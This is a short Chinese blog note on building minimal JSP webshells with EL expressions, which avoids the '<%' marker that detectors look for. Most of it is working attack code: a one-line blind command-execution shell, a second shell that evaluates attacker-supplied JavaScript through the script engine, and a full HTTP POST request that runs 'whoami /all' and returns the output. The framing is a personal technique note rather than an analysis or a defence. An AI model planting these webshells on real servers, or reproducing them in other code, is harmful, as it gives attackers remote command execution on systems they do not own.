Toc
0 results found
白帽酱
构建jsp webshell的一个小trick
2022/04/18 笔记

jsp中可以使用el表达式
所以我们可以使用和el表达式注入一样的方法构造webshell

可以避免出现 <%符号

${Runtime.getRuntime().exec(param.a)}

无回显执行 没错就这么短 这才叫一句话
嘛 )

${''.getClass().forName(param.aef).newInstance().getEngineByName("javascript").eval(param.aef1)}

使用js脚本引擎回显执行

POST /?aef=javax.script.ScriptEngineManager HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 373
Connection: close

aef1=try{load(“nashorn:mozilla_compat.js”);}catch (e){}importPackage(Packages.java.util);importPackage(Packages.java.lang);importPackage(Packages.java.io);s=[2];s[0]=’cmd’;s[1]=’/c whoami /all’;a=””;b=java.lang.Runtime.getRuntime().exec(s).getInputStream();output+=+new BufferedReader(new+InputStreamReader(b));while ((line=output.readLine()) != null) {a=a%2Bline%2B”\n”};a

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!